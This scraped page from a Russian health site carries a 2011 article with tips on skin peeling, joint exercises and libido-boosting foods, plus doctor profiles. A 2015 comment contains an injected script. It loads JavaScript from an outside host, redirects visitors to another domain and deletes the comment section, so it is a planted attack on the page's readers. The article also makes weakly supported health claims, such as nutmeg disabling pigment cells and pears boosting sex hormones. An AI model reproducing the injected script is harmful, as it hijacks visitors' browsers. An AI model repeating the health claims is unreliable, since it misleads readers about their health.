Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Возроди себя за сутки до ...  >>  Возроди себя за сутки до Нового Года
 
Обратная связь
 

Возроди себя за сутки до Нового Года

Размер шрифта
30 декабря 2011 08:00
  • google_analytics: false
  • Нравится

До начала нового года, новой жизни остались всего лишь сутки. Вы еще успеваете стать другим человеком: для этого надо сделать всего лишь три процедуры.

1.     Восстановить кожу

Зимой кожа часто становится сухой, поскольку ветер становится сильнее и холоднее, в помещениях безжалостно работают утеплительные системы, которые сушат воздух, а влажность воздуха понижена. В таких условиях кожа становится суше.

Когда ороговевшие частицы кожи накапливаются, клеткам коже труднее обновляться и у вас появляются морщины.

Что делать

Чтобы ее восстановить за сутки до Нового Года – надо делать механические пилинги. Вам отлично подойдет смесь корицы и мускатного ореха. Поскольку это пилинг из очень мелких частиц – он мягкий, его можно использовать каждый день. Такая смесь, действуя как пилинг, будет обновлять и увлажнять кожу. Мускатный орех в отдельности осветляет пигментные пятна, отключая пигментные клетки – меланоциты. Корица – это специи, которые приносят больше крови к поверхности кожи, что вызывает красивый румянец коже.

2.     Восстановить суставы

С возрастом хрящ в суставах изнашивается. Это увеличивает трение, вызывает воспаление, которое не только усугубляет боль и дискомфорт, но и может привести к повреждению суставов. Колени – самое уязвимое место.

Что делать

Повязывайте специальный бандаж на сустав «восьмеркой» – это снизит боль в суставах и сохранит их подвижность. Разрабатывайте суставы с помощью специальных упражнений.

  • «Степ»

Встаньте перед лестницей, «больную» ногу поставьте на ступень вверх. Медленно опустите ногу и дотроньтесь пяткой до пола. Повторять 3 минуты.

  • «Солдатик»

Это упражнение укрепляет квадрицепсы. Встаньте спиной к стенке, ноги на ширину плеч – подложите мяч за спину и приседайте медленно. Можно выполнять вдвоем.

3.     Восстановить сексуальное желание

Сексуальное настроение зависит от тестостерона. Когда уровень тестостерона в норме – ваше сексуальное желание и сексуальная привлекательность повышены. Когда уровень тестостерона падает, снижается и ваше желание.

Что делать
  •  Ешьте груши, так как они содержат бор – минерал, стимулирующий образование половых гормонов.
  •  Ешьте орехи, сыр и овес, так как они являются хорошими источниками аргинина. Эта аминокислота расширяет сосуды и улучшает кровоток, в том числе и в гениталиях.
  •  Попробуйте соевые бобы. Они содержат фитоэстрогены, которые могут нарушить баланс эстрогена – тестостерона. Не рекомендуется есть больше 25 г сои в день (2 плошки).
  •  Избегайте кофе и квашеной капусты. Кофе поднимает уровень кортизола – «гормона стресса», а квашеная капуста из-за количества соли в составе продукта сужает сосуды и повышает давление.

Сюжеты по теме:
Возроди себя за сутки до Нового Года

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:01

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.